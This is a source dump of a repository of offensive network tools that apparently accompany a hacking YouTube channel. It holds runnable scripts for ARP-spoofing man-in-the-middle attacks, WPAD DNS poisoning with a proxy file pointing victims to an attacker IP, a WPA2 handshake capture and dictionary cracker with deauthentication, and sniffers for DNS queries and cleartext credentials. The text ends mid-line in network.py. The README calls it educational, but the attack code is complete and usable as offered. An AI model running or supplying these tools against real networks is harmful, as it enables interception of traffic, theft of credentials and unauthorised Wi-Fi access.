├── mitm-ssl ├── stage │ ├── __init__.py │ ├── http.py │ ├── mitm.py │ ├── router.py │ └── dns.py ├── requirement.txt ├── wpad.dat ├── README.md └── attack.py ├── wpa2-cracker ├── utils │ ├── __init__.py │ ├── constants.py │ ├── helpers.py │ ├── crypto.py │ └── network.py ├── requirements.txt ├── README.md └── crack.py ├── dns-sniffer-mitm-arp-spoofing ├── requirements.txt ├── README.md └── dns-sniffer.py ├── python-sniffer-scapy ├── README.md └── credential-sniffer.py ├── python-sniffer ├── README.md └── sniff.py ├── README.md └── nmap-stealth-techniques ├── ftp.py └── mock_services.py /mitm-ssl/stage/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /wpa2-cracker/utils/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /mitm-ssl/requirement.txt: -------------------------------------------------------------------------------- 1 | termcolor 2 | -------------------------------------------------------------------------------- /dns-sniffer-mitm-arp-spoofing/requirements.txt: -------------------------------------------------------------------------------- 1 | mac-vendor-lookup==0.1.12 2 | -------------------------------------------------------------------------------- /wpa2-cracker/requirements.txt: -------------------------------------------------------------------------------- 1 | colorama==0.4.6 2 | progress==1.6 3 | scapy==2.6.1 4 | -------------------------------------------------------------------------------- /mitm-ssl/wpad.dat: -------------------------------------------------------------------------------- 1 | function FindProxyForURL(url, host) { 2 | return "PROXY CHANGE_TO_ATTACKER_IP:8080"; 3 | } 4 | -------------------------------------------------------------------------------- /wpa2-cracker/utils/constants.py: -------------------------------------------------------------------------------- 1 | from termcolor import colored 2 | 3 | COLOR_DEBUG = colored('DEBUG: ', 'light_grey') 4 | COLOR_OK = colored('OK: ', 'green') 5 | COLOR_FAIL = colored('ERROR: ', 'red') 6 | COLOR_INFO = colored('INFO: ', 'light_blue') 7 | -------------------------------------------------------------------------------- /python-sniffer-scapy/README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | This is a python sniffer which is built on top of scapy, a powerful packet 4 | manipulating and sniffing library. This is useful for unencrypted traffic such 5 | as HTTP, TELNET and FTP. 6 | 7 | # Youtube Video 8 | 9 | https://youtu.be/XurUb-xgUyY?si=ef72Jx9VHlEMx_LB 10 | -------------------------------------------------------------------------------- /dns-sniffer-mitm-arp-spoofing/README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | This is a network sniffer that monitors DNS queries to footprint targets on 4 | local network using Man-in-the-Middle ARP Spoofing technique. This includes 5 | better device footprinting via MAC address OUI lookup. 6 | 7 | # Youtube Video 8 | 9 | https://youtu.be/ox4a734BPxs?si=-fkrnMyqDzdHx6kt 10 | -------------------------------------------------------------------------------- /python-sniffer/README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | This is a network sniffer created in python3. This teaches you the fundamentals 4 | of low-level networking. That means the script doesn't rely on external packet 5 | capturing libraries such as `scapy` but instead rely on in-build python 6 | libraries like `socket` and `ipaddress`. 7 | 8 | # Youtube Video 9 | 10 | https://youtu.be/TGZGQ7w1VMk?si=V6mKONolaJEjzJ0A 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | This contains scripts, tools, and other programs I show case on my youtube 3 | channel. 4 | 5 | https://www.youtube.com/@hacktheclown/videos 6 | 7 | You may see another `README.md` files under each subdirectory for additional 8 | information about the tool. 9 | 10 | *** IMPORTANT *** 11 | 12 | This is for educational purposes only whose goal is to make you a better ethical 13 | hacker. 14 | -------------------------------------------------------------------------------- /mitm-ssl/stage/http.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from http.server import SimpleHTTPRequestHandler, HTTPServer 4 | from scapy.all import conf 5 | from termcolor import cprint 6 | 7 | def run(interface): 8 | HTTP_PORT = 80 9 | ATTACKER_IP = conf.ifaces[interface].ip 10 | 11 | cprint('*** HTTP server running ***', 'magenta', attrs=['blink', 'reverse']) 12 | 13 | httpd = HTTPServer((ATTACKER_IP, HTTP_PORT), SimpleHTTPRequestHandler) 14 | httpd.serve_forever() 15 | -------------------------------------------------------------------------------- /wpa2-cracker/utils/helpers.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | from utils import constants 4 | 5 | def print_err(msg: str) -> None: 6 | print(constants.COLOR_FAIL + msg) 7 | sys.exit(1) 8 | 9 | def print_debug(msg: str, 10 | enabled: bool) -> None: 11 | if enabled: 12 | print(constants.COLOR_DEBUG + msg) 13 | 14 | def print_ok(msg: str) -> None: 15 | print(constants.COLOR_OK + msg) 16 | 17 | def print_info(msg: str) -> None: 18 | print(constants.COLOR_INFO + msg) 19 | -------------------------------------------------------------------------------- /mitm-ssl/README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | Exploits windows automatic proxy setup. This spoofs WPAD dns queries to point 4 | to attacker IP on the local network. Once spoofed, client will be force to use 5 | the attacker controlled proxy server that is capable of SSL decryption. 6 | Installing the attacker proxy CA inside the target device is not covered in 7 | this tool as it will require a different method. Watch the video below to get 8 | more information on how this tool works. 9 | 10 | # Youtube Video 11 | 12 | https://youtu.be/Oi_kQE1zyPs?si=Qyra0iYEBai8t-Fg 13 | -------------------------------------------------------------------------------- /mitm-ssl/stage/mitm.py: -------------------------------------------------------------------------------- 1 | """ 2 | Performs MITM ARP spoofing attack 3 | """ 4 | 5 | import time 6 | import sys 7 | from termcolor import cprint 8 | from scapy.all import arp_mitm 9 | 10 | def run(routerip, targetip, interface): 11 | cprint('*** MITM running ***', 'green', attrs=['blink', 'reverse']) 12 | while True: 13 | try: 14 | arp_mitm(routerip, targetip, iface=interface) 15 | except OSError: 16 | print('IP seems down, retrying ..') 17 | time.sleep(1) 18 | continue 19 | except KeyboardInterrupt: 20 | print('Exiting ..') 21 | sys.exit(2) 22 | -------------------------------------------------------------------------------- /nmap-stealth-techniques/ftp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Be sure to install the module first: 4 | 5 | ``` 6 | pip install pyftpdlib 7 | ``` 8 | """ 9 | 10 | from pyftpdlib.authorizers import DummyAuthorizer 11 | from pyftpdlib.handlers import FTPHandler 12 | from pyftpdlib.servers import FTPServer 13 | 14 | authorizer = DummyAuthorizer() 15 | authorizer.add_user("anonymous", "anonymous", "/tmp", perm="elradfmwMT") 16 | handler = FTPHandler 17 | 18 | FTPHandler.permit_foreign_addresses = True 19 | FTPHandler.permit_privileged_ports = True 20 | 21 | handler.authorizer = authorizer 22 | 23 | server = FTPServer(("CHANGEME", 21), handler) 24 | server.serve_forever() 25 | -------------------------------------------------------------------------------- /mitm-ssl/stage/router.py: -------------------------------------------------------------------------------- 1 | """ 2 | OS settings that needed for making attacker machine act as a router 3 | """ 4 | import subprocess 5 | import sys 6 | from termcolor import cprint 7 | 8 | COMMANDS = [ 9 | 'iptables -F', 10 | 'iptables --policy FORWARD ACCEPT', 11 | 'sysctl -w net.ipv4.ip_forward=1' 12 | ] 13 | 14 | def run(): 15 | print('Configuring attacker machine as a router ...') 16 | for c in COMMANDS: 17 | cprint(f'Executing: {c}', 'light_grey', attrs=['dark']) 18 | command = subprocess.run(c.split(), stdout=subprocess.DEVNULL, 19 | stderr=subprocess.DEVNULL) 20 | if command.returncode != 0: 21 | print(f'Error in executing: {c}') 22 | sys.exit(1) 23 | -------------------------------------------------------------------------------- /nmap-stealth-techniques/mock_services.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import threading 5 | 6 | LISTEN_IP = 'CHANGEME' 7 | PORTS = [80, 445, 110, 389, 636, 443, 23, 8080, 6000, 5001, 8443, 123] 8 | 9 | class MockService: 10 | 11 | def __init__(self, port): 12 | 13 | self.port = port 14 | self.ip = LISTEN_IP 15 | 16 | def listen(self): 17 | 18 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | serversocket.bind((self.ip, self.port)) 20 | serversocket.listen(5) 21 | 22 | while True: 23 | (clientsocket, address) = serversocket.accept() 24 | client_hostname = socket.getfqdn(address[0]) 25 | with clientsocket: 26 | print(f"Client {address[0]}:{address[1]} ({client_hostname}) connected to {self.port}. Full TCP handshake!") 27 | 28 | def service_thread(self): 29 | 30 | print(f"Listening on port {self.port}") 31 | server_thread = threading.Thread(target=self.listen) 32 | server_thread.start() 33 | 34 | for port in PORTS: 35 | service = MockService(port) 36 | service.service_thread() 37 | -------------------------------------------------------------------------------- /mitm-ssl/attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import os 5 | import sys 6 | import threading 7 | from stage import mitm, router, dns, http 8 | 9 | parser = argparse.ArgumentParser(description="MITM SSL attack tool") 10 | parser.add_argument("--iface", help="Interface to use", required=True) 11 | parser.add_argument("--target", help="Target IP to attack", required=True) 12 | parser.add_argument("--router", help="Router IP (used for MITM ARP spoofing)", 13 | required=True) 14 | opts = parser.parse_args() 15 | 16 | if os.getuid() != 0: 17 | print('Must be run as root') 18 | sys.exit(1) 19 | 20 | def main(): 21 | # Let's make our kali attacker machine a router by executing some shell 22 | # commands. 23 | router.run() 24 | 25 | # Prepare the threads 26 | t_http = threading.Thread(target=http.run, args=(opts.iface,)) 27 | t_mitm = threading.Thread(target=mitm.run, args=(opts.router, opts.target, 28 | opts.iface)) 29 | t_dns = threading.Thread(target=dns.run, args=(opts.router, opts.target, 30 | opts.iface)) 31 | 32 | # Launch them 33 | t_mitm.start() 34 | t_dns.start() 35 | t_http.start() 36 | 37 | print("Attack started!") 38 | 39 | if __name__ == '__main__': 40 | main() 41 | -------------------------------------------------------------------------------- /wpa2-cracker/README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | IEEE 802.11i was aimed to improve the security from older versions but this 4 | was released more than 2 decades ago and have several weakness. One of which 5 | is an attacker can easily intercept the 4-way handshake which is used to 6 | exchanged the cryptographic keys between a station and access point. Once 7 | captured, attacker can perform dictionary attack against the PSK and MIC to 8 | recover the wifi passphrase. 9 | 10 | This tool demonstrates that attack by scanning for nearby APs, targetting 11 | the clients and performing deauthentication attack to capture a 4-way 12 | handshake. The tool will extract the different keys from the capture and 13 | perform an offline dictionary attack. 14 | 15 | This contains 2 custom modules for performing the attack - a network module 16 | for executing tasks such as injecting frames and a crypto module that 17 | recovers the MIC and other keys from the handshake. 18 | 19 | # Usage 20 | 21 | You can see the help menu by passing `-h` to the script. But before doing that, 22 | be sure to install first the modules from the requirements file. 23 | 24 | # Youtube Video 25 | 26 | I create a video that will show you the thought process on how this tool was 27 | created. You will learn different things like wifi networking, cryptography, 28 | and programming. 29 | 30 | https://youtu.be/FguOLGPkEjg?si=-XO0UT022V5sqi1u 31 | -------------------------------------------------------------------------------- /wpa2-cracker/utils/crypto.py: -------------------------------------------------------------------------------- 1 | import hmac 2 | from hashlib import pbkdf2_hmac, sha1 3 | 4 | def get_pmk(psk: bytes, 5 | ssid: bytes) -> bytes: 6 | """ 7 | Generates a 32-byte PMK by using PBKDF2-HMAC-SHA1 against the PSK (wifi 8 | password) and SSID. 9 | """ 10 | pmk = pbkdf2_hmac('sha1', psk, ssid, 4096, dklen=32) 11 | 12 | return pmk 13 | 14 | def __ptk_prf(pmk: bytes, 15 | label: str, 16 | data: bytes) -> bytes: 17 | """ 18 | Custom PRF based on HMAC-SHA1 that generates the 64 bytes PTK. 19 | """ 20 | blen = 64 # in bytes 21 | i = 0 22 | r = b'' 23 | while len(r) < blen: 24 | hmacsha1 = hmac.new(pmk, label.encode() + bytes([0x00]) + data + bytes([i]), sha1) 25 | r += hmacsha1.digest() 26 | i += 1 27 | 28 | return r[:blen] 29 | 30 | def get_ptk(pmk: bytes, 31 | anonce: bytes, 32 | snonce: bytes, 33 | amac: bytes, 34 | smac: bytes) -> bytes: 35 | """ 36 | Gets the 64-bytes PTK by performing custom PRF against the supplicant/access 37 | point nonces/mac addresses and PMK. 38 | """ 39 | mac1, mac2 = sorted([amac, smac]) 40 | nonce1, nonce2 = sorted([anonce, snonce]) 41 | data = mac1 + mac2 + nonce1 + nonce2 42 | label = "Pairwise key expansion" 43 | ptk = __ptk_prf(pmk, label, data) 44 | 45 | return ptk 46 | 47 | def get_kck(ptk: bytes) -> bytes: 48 | """ 49 | Extracts the 16-byte KCK from PTK 50 | """ 51 | return ptk[0:16] 52 | 53 | def get_mic(kck: bytes, 54 | data: bytes) -> bytes: 55 | """ 56 | This is the MIC which is derived by getting the HMAC-SHA1 of KCK and eapol 57 | frame (with MIC value zeroed out). HMAC-SHA1 digest is 20 bytes but MIC 58 | should only be 16 bytes so we will truncate it before returning to the 59 | caller. 60 | """ 61 | hmacsha1 = hmac.new(kck, data, sha1) 62 | 63 | return hmacsha1.digest()[:16] 64 | -------------------------------------------------------------------------------- /python-sniffer-scapy/credential-sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import re 5 | from time import strftime, localtime 6 | from colorama import Fore, Style 7 | from scapy.all import sniff, TCP, IP, Raw 8 | 9 | parser = argparse.ArgumentParser(description='Network packet sniffer using scapy') 10 | parser.add_argument('--iface', help='Interface to sniff on', required=True) 11 | parser.add_argument('--keywords', help='File containing list of secret keywords to detect', 12 | required=True) 13 | parser.add_argument('--verbose', help='Adds timestamp, src, and dst IPs', 14 | action='store_true') 15 | parser.add_argument('--filter', help='BPF filter', required=True) 16 | opts = parser.parse_args() 17 | 18 | with open(opts.keywords, 'r') as f: 19 | KEYWORDS = [i.strip() for i in f.readlines()] 20 | 21 | def print_match(pattern, data): 22 | """ 23 | This function makes output clearer to understand by highlighting the 24 | keywords was found on the tcp payload. 25 | """ 26 | print(f"{Fore.GREEN}!!! Possible secret found !!!{Style.RESET_ALL}") 27 | re_pattern = re.compile('(' + pattern + ')') 28 | values = re_pattern.split(data) 29 | for i in values: 30 | if re_pattern.match(i): 31 | print(f'{Fore.RED}{i}{Style.RESET_ALL}', end='') 32 | else: 33 | print(i, end='') 34 | print() 35 | 36 | def process_packet(packet): 37 | """ 38 | Function that handles the received packets from scapy. 39 | """ 40 | try: 41 | if Raw in packet and opts.verbose: 42 | time = strftime("%m/%d/%Y %H:%M:%S", localtime()) 43 | print(f'{time} : {packet.sniffed_on} {packet[IP].dst} -> {packet[IP].dst}') 44 | data = str(packet[Raw].load) 45 | for keyword in KEYWORDS: 46 | if keyword in data: 47 | print_match(keyword, data) 48 | except IndexError: 49 | pass 50 | 51 | if __name__ == '__main__': 52 | sniff(iface=opts.iface, prn=process_packet, count=0, filter=opts.filter) 53 | -------------------------------------------------------------------------------- /dns-sniffer-mitm-arp-spoofing/dns-sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import threading 5 | from colorama import Fore, Style 6 | from time import strftime, localtime 7 | from scapy.all import arp_mitm, sniff, DNS, srp, Ether, ARP 8 | from mac_vendor_lookup import MacLookup, VendorNotFoundError 9 | 10 | parser = argparse.ArgumentParser(description='Device network sniffer') 11 | parser.add_argument('--network', help='Network to scan (eg "192.168.0.0/24")', 12 | required=True) 13 | parser.add_argument('--iface', help='Network interface to use', required=True) 14 | parser.add_argument('--routerip', help='IP of your home router ', required=True) 15 | opts = parser.parse_args() 16 | 17 | def arp_scan(network, iface): 18 | """ 19 | Performs ARP ping across the local subnet. Once a device responds, its IP 20 | and MAC address will be recorded. MAC address lookup will also be performed 21 | against the pre-defined OUI in https://standards-oui.ieee.org/oui/oui.txt. 22 | Do note that not all device are recognized so expect device will be 23 | unrecognized. 24 | """ 25 | ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=network), 26 | timeout=5, iface=iface) 27 | print(f'\n{Fore.RED}######## NETWORK DEVICES ########{Style.RESET_ALL}\n') 28 | for i in ans: 29 | mac = i.answer[ARP].hwsrc 30 | ip = i.answer[ARP].psrc 31 | try: 32 | vendor = MacLookup().lookup(mac) 33 | except VendorNotFoundError: 34 | vendor = 'unrecognized device' 35 | print(f'{Fore.BLUE}{ip}{Style.RESET_ALL} ({mac}, {vendor})') 36 | return input('\nPick a device IP: ') 37 | 38 | class Device: 39 | def __init__(self, routerip, targetip, iface): 40 | self.routerip = routerip 41 | self.targetip = targetip 42 | self.iface = iface 43 | 44 | def mitm(self): 45 | while True: 46 | try: 47 | arp_mitm(self.routerip, self.targetip, iface=self.iface) 48 | except OSError: 49 | print('IP seems down, retrying ..') 50 | continue 51 | 52 | def capture(self): 53 | sniff(iface=self.iface, prn=self.dns, 54 | filter=f'src host {self.targetip} and udp port 53') 55 | 56 | def dns(self, pkt): 57 | record = pkt[DNS].qd.qname.decode('utf-8').strip('.') 58 | time = strftime("%m/%d/%Y %H:%M:%S", localtime()) 59 | print(f'[{Fore.GREEN}{time} | {Fore.BLUE}{self.targetip} -> {Fore.RED}{record}{Style.RESET_ALL}]') 60 | 61 | def sniff(self): 62 | t1 = threading.Thread(target=self.mitm, args=()) 63 | t2 = threading.Thread(target=self.capture, args=()) 64 | 65 | t1.start() 66 | t2.start() 67 | 68 | if __name__ == '__main__': 69 | targetip = arp_scan(opts.network, opts.iface) 70 | device = Device(opts.routerip, targetip, opts.iface) 71 | device.sniff() 72 | -------------------------------------------------------------------------------- /mitm-ssl/stage/dns.py: -------------------------------------------------------------------------------- 1 | """ 2 | Fake DNS server that will poison the respone for wpad.localdomain 3 | """ 4 | 5 | from scapy.all import IP, DNSQR, DNSRR, DNS, sniff, conf, UDP, send, sr1 6 | from termcolor import cprint 7 | 8 | 9 | def __poison_response(pkt): 10 | original_qname = pkt[DNSQR].qname 11 | if WPAD_HOSTNAME in str(original_qname): 12 | # Let's build the fake dns packet. First let's create the packet 13 | # template. 14 | fake_dns_pkt = IP()/UDP()/DNS()/DNSRR() 15 | 16 | # Make sure the source IP is the real router IP so the packet will not 17 | # get lost. Since this is a reply, destination will be the client IP. 18 | fake_dns_pkt[IP].src = ROUTER_IP 19 | fake_dns_pkt[IP].dst = TARGET_IP 20 | 21 | fake_dns_pkt[UDP].sport = 53 22 | fake_dns_pkt[UDP].dport = pkt[UDP].sport 23 | 24 | # DNS layer 25 | # https://mislove.org/teaching/cs4700/spring11/handouts/project1-primer.pdf 26 | fake_dns_pkt[DNS].id = pkt[DNS].id # random ID that corresponds to the DNS query 27 | fake_dns_pkt[DNS].qd = pkt[DNS].qd # reuse same query data 28 | fake_dns_pkt[DNS].aa = 1 # tell the client we are authoratative for the record 29 | fake_dns_pkt[DNS].qr = 1 # 1 since this is a response 30 | fake_dns_pkt[DNS].ancount = 1 # 1 since we are providing an answer 31 | 32 | # Let's build the resource record. We will reuse most data from the 33 | # DNS query packet. 34 | fake_dns_pkt[DNSRR].qname = WPAD_HOSTNAME + '.' 35 | fake_dns_pkt[DNSRR].rrname = WPAD_HOSTNAME + '.' 36 | # Seems this is one of the most relevant. Changing this definitely 37 | # changes the answer to the client. Changing [DNSRR].(qname|rrname) 38 | # doesn't really matter but it makes the RR clearer to understand as 39 | # it set proper values on the fields. 40 | fake_dns_pkt[DNSRR].rdata = ATTACKER_IP 41 | 42 | # Finally let's send the packet 43 | cprint(f'Sending spoofed DNS packet: {WPAD_HOSTNAME} = {ATTACKER_IP}', 44 | 'light_red', attrs=['dark']) 45 | send(fake_dns_pkt, verbose=0) 46 | 47 | else: 48 | # Let's build the packet that we will forward to google dns 49 | forward_pkt = IP()/UDP()/DNS() 50 | forward_pkt[IP].dst = GOOGLE_DNS 51 | forward_pkt[UDP].sport = pkt[UDP].sport 52 | forward_pkt[DNS].rd = 1 53 | forward_pkt[DNS].qd = DNSQR(qname=original_qname) 54 | 55 | # Send it to google and get the response 56 | google_response = sr1(forward_pkt, verbose=0) 57 | 58 | # Let's build the response packet we will send to the client 59 | response_pkt = IP()/UDP()/DNS() 60 | response_pkt[IP].src = ATTACKER_IP 61 | response_pkt[IP].dst = TARGET_IP 62 | response_pkt[UDP].dport = pkt[UDP].sport 63 | response_pkt[DNS] = google_response[DNS] 64 | 65 | # Sent it to the client 66 | send(response_pkt, verbose=0) 67 | 68 | def run(router_ip, target_ip, interface): 69 | global ATTACKER_IP 70 | global ROUTER_IP 71 | global TARGET_IP 72 | global WPAD_HOSTNAME 73 | global GOOGLE_DNS 74 | 75 | ATTACKER_IP = conf.ifaces[interface].ip 76 | ROUTER_IP = router_ip 77 | TARGET_IP = target_ip 78 | WPAD_HOSTNAME = 'wpad.localdomain' 79 | GOOGLE_DNS = '8.8.8.8' 80 | 81 | cprint('*** Fake DNS server running ***', 'red', attrs=['blink', 'reverse']) 82 | 83 | bpf_filter = f'udp dst port 53 and not src host {ATTACKER_IP} and src host {TARGET_IP}' 84 | 85 | sniff(prn=__poison_response, filter=bpf_filter, iface=interface) 86 | -------------------------------------------------------------------------------- /wpa2-cracker/crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import sys 5 | import os 6 | import re 7 | 8 | from scapy.all import rdpcap, EAPOL_KEY, Dot11, raw, EAPOL 9 | from utils import crypto, network 10 | from utils.helpers import * 11 | 12 | BANNER = r''' 13 | 14 | ██╗ ██╗██████╗ █████╗ ██████╗ ██████╗██████╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ 15 | ██║ ██║██╔══██╗██╔══██╗╚════██╗ ██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ 16 | ██║ █╗ ██║██████╔╝███████║ █████╔╝ ██║ ██████╔╝███████║██║ █████╔╝ █████╗ ██████╔╝ 17 | ██║███╗██║██╔═══╝ ██╔══██║██╔═══╝ ██║ ██╔══██╗██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ 18 | ╚███╔███╔╝██║ ██║ ██║███████╗ ╚██████╗██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ 19 | ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ 20 | 21 | by @hacktheclown 22 | https://github.com/hacktheclown 23 | 24 | ''' 25 | 26 | print(BANNER) 27 | 28 | parser = argparse.ArgumentParser(description='WiFi WPA2 cracker', 29 | formatter_class=argparse.ArgumentDefaultsHelpFormatter) 30 | parser.add_argument('--wordlist', 31 | help='Wordlist to use', 32 | default='/usr/share/wordlists/rockyou.txt') 33 | parser.add_argument('--debug', 34 | help='Show additional messages', 35 | action='store_true') 36 | parser.add_argument('--interface', 37 | help='Interface to use for the attack. Must be in monitor mode.', 38 | required=True) 39 | parser.add_argument('--scan-time', 40 | help='Time to scan for SSIDs (in seconds)', 41 | default=10) 42 | parser.add_argument('--async-buffer-time', 43 | help='Time to buffer results from AsyncSniffer() (in seconds)', 44 | default=10) 45 | parser.add_argument('--pcap-file', 46 | help='File to write the packet capture for the 4-way handshake', 47 | default='/tmp/deauth.pcap') 48 | opts = parser.parse_args() 49 | 50 | class Wifi_WPA2: 51 | def __init__(self) -> None: 52 | self.ssid = b'' 53 | self.anonce = b'' 54 | self.snonce = b'' 55 | self.amac = b'' 56 | self.smac = b'' 57 | self.mic_msg2 = '' 58 | self.eapol_frame_msg2 = '' 59 | self.pcap_file = opts.pcap_file 60 | 61 | def decrypt(self) -> bool: 62 | print_info(f'Trying to brute force the keys using {opts.wordlist} ...') 63 | words = open(opts.wordlist, 'r').readlines() 64 | for word in words: 65 | psk = word.strip().encode('utf-8') 66 | pmk = crypto.get_pmk(psk=psk, 67 | ssid=self.ssid) 68 | ptk = crypto.get_ptk(pmk=pmk, 69 | anonce=self.anonce, 70 | snonce=self.snonce, 71 | amac=self.amac, 72 | smac=self.smac) 73 | kck = crypto.get_kck(ptk=ptk) 74 | mic_msg2_derived = crypto.get_mic(kck=kck, 75 | data=bytes.fromhex(self.eapol_frame_msg2)).hex() 76 | mic_msg2_extracted = self.mic_msg2 77 | 78 | print_debug(msg=f'Trying psk = {psk}', enabled=opts.debug) 79 | print_debug(msg=f'ssid = {self.ssid}', enabled=opts.debug) 80 | print_debug(msg=f'anonce = {self.anonce.hex()}', enabled=opts.debug) 81 | print_debug(msg=f'snonce = {self.snonce.hex()}', enabled=opts.debug) 82 | print_debug(msg=f'amac = {self.amac.hex()}', enabled=opts.debug) 83 | print_debug(msg=f'smac = {self.smac.hex()}', enabled=opts.debug) 84 | print_debug(msg=f'mic_msg2_derived = {mic_msg2_derived}', enabled=opts.debug) 85 | print_debug(msg=f'mic_msg2_extracted = {mic_msg2_extracted}', enabled=opts.debug) 86 | 87 | if mic_msg2_derived == mic_msg2_extracted: 88 | print_debug(msg='MIC_MSG2 matched!', enabled=opts.debug) 89 | print_ok(f'password is {psk.decode()}') 90 | return True 91 | else: 92 | print_debug(msg=f'{psk.decode()} did not match against MIC_MSG2', 93 | enabled=opts.debug) 94 | 95 | return False 96 | 97 | def extract_handshake_info(self, ssid='') -> None: 98 | pkts = rdpcap(self.pcap_file) 99 | 100 | anonce = bytes.fromhex(pkts[0][EAPOL_KEY].key_nonce.hex()) 101 | snonce = bytes.fromhex(pkts[1][EAPOL_KEY].key_nonce.hex()) 102 | 103 | amac_raw = pkts[0][Dot11].addr3 104 | amac_str = amac_raw.replace(':', '') 105 | amac = bytes.fromhex(amac_str.replace(':', '')) 106 | amac_set = {amac_raw} 107 | 108 | mac_set = set() 109 | for i in range(0, 2): 110 | mac_set.add(pkts[i][Dot11].addr1) 111 | mac_set.add(pkts[i][Dot11].addr2) 112 | mac_set.add(pkts[i][Dot11].addr3) 113 | 114 | smac_str = list(mac_set.difference(amac_set))[0] 115 | smac = bytes.fromhex(smac_str.replace(':', '')) 116 | 117 | mic_msg2 = pkts[1][EAPOL_KEY].key_mic.hex() 118 | eapol_frame_msg2 = raw(pkts[1][EAPOL]).hex().replace(mic_msg2, '0'*32) 119 | 120 | self.ssid = ssid.encode() 121 | self.anonce = anonce 122 | self.snonce = snonce 123 | self.amac = amac 124 | self.smac = smac 125 | self.mic_msg2 = mic_msg2 126 | self.eapol_frame_msg2 = eapol_frame_msg2 127 | 128 | def start(self) -> None: 129 | ssid = network.get_ssid(interface=opts.interface, 130 | scan_time=int(opts.scan_time)) 131 | 132 | while not network.deauth(ssid=ssid, 133 | interface=opts.interface, 134 | async_buffer_time=int(opts.async_buffer_time), 135 | pcap_file=opts.pcap_file, 136 | debug=opts.debug): 137 | print_info("Performing deauthentication attack, looking for 4-way handshake ...") 138 | 139 | self.extract_handshake_info(ssid=ssid) 140 | 141 | CRACKED = self.decrypt() 142 | if CRACKED: 143 | sys.exit(0) 144 | else: 145 | print_err('Unable to crack the password') 146 | 147 | if __name__ == '__main__': 148 | if os.getuid() != 0: 149 | print_err('Script must be ran as root') 150 | 151 | regex = re.compile('[!"\'#$%^&*()<>?/}{~:;]') 152 | if regex.search(opts.interface): 153 | print_err(msg="Possible command injection found") 154 | 155 | attack = Wifi_WPA2() 156 | attack.start() 157 | -------------------------------------------------------------------------------- /wpa2-cracker/utils/network.py: -------------------------------------------------------------------------------- 1 | import time 2 | import os 3 | 4 | from multiprocessing import Process 5 | from colorama import Fore, Style 6 | from datetime import datetime, timedelta 7 | from progress.spinner import PixelSpinner 8 | from utils.helpers import * 9 | from scapy.all import ( 10 | Dot11Beacon, 11 | Dot11CCMP, 12 | Dot11EltRSN, 13 | RSNCipherSuite, 14 | AKMSuite, 15 | Dot11, 16 | Dot11Deauth, 17 | RadioTap, 18 | sendp, 19 | wrpcap, 20 | AsyncSniffer, 21 | EAPOL_KEY 22 | ) 23 | 24 | # Global variables that can't be passed to packet processing functions (prn) 25 | # and needs to be accessed centrally. 26 | SSIDS = {} 27 | PCAP_FILE = '' 28 | HANDSHAKE_COUNTER = 0 29 | HANDSHAKE_TARGET_NUM = 4 30 | 31 | # This needs to be accessed by several functions globally 32 | DEBUG = False 33 | 34 | def __channel_changer(iface: str) -> None: 35 | """ 36 | Performs channel hopping every .5 seconds using `iwconfig`. 37 | """ 38 | ch = 1 39 | while True: 40 | os.system(f"/usr/sbin/iwconfig {iface} channel {ch}") 41 | ch = ch % 14 + 1 42 | time.sleep(0.5) 43 | 44 | def __select_ssid() -> str: 45 | """ 46 | Shows a formatted list of SSIDS using WPA2 and asks the user to select 47 | one. 48 | """ 49 | print('========= WPA2 SSIDS =========\n') 50 | padding = ' ' + '.' * 50 51 | for ssid, addr in SSIDS.items(): 52 | print('{:.40s} {}'.format(ssid + padding, addr)) 53 | 54 | print() 55 | ssid = input('Enter SSID (i.e. wifi-home): ') 56 | print() 57 | 58 | return ssid 59 | 60 | def __progress(msg, seconds) -> None: 61 | """ 62 | Cool progress bar 63 | """ 64 | end_time = datetime.now() + timedelta(seconds=seconds) 65 | spinner = PixelSpinner('>>> ' + f'{Fore.RED}' + msg + f'{Style.RESET_ALL}' + ' ') 66 | while datetime.now() < end_time: 67 | time.sleep(0.1) 68 | spinner.next() 69 | print('\n') 70 | 71 | def __find_ssids(pkt) -> None: 72 | """ 73 | Scans for beacons to get the WPA2 SSIDs 74 | """ 75 | if pkt.haslayer(Dot11Beacon) and pkt.haslayer(Dot11EltRSN) and pkt.haslayer(AKMSuite): 76 | cipher = str(pkt[Dot11EltRSN].pairwise_cipher_suites[0].cipher) 77 | key_type = pkt[AKMSuite].suite 78 | ssid = pkt.info 79 | ssid_decode = ssid.decode() 80 | addr2 = pkt[0].addr2 81 | addr3 = pkt[0].addr3 82 | 83 | if addr2 != addr3: 84 | print_err(f'addr2 and addr3 should be the same but found different: {addr2} {addr3}') 85 | 86 | # Make sure to remove SSIDs with empty value and only get frames using 87 | # CCMP ciphers and frames that has PSK in its AMK suites. Not sure if 88 | # if there is a better way than this. 89 | ssid_null_len = len(''.join(ssid_decode.split('\x00'))) 90 | if 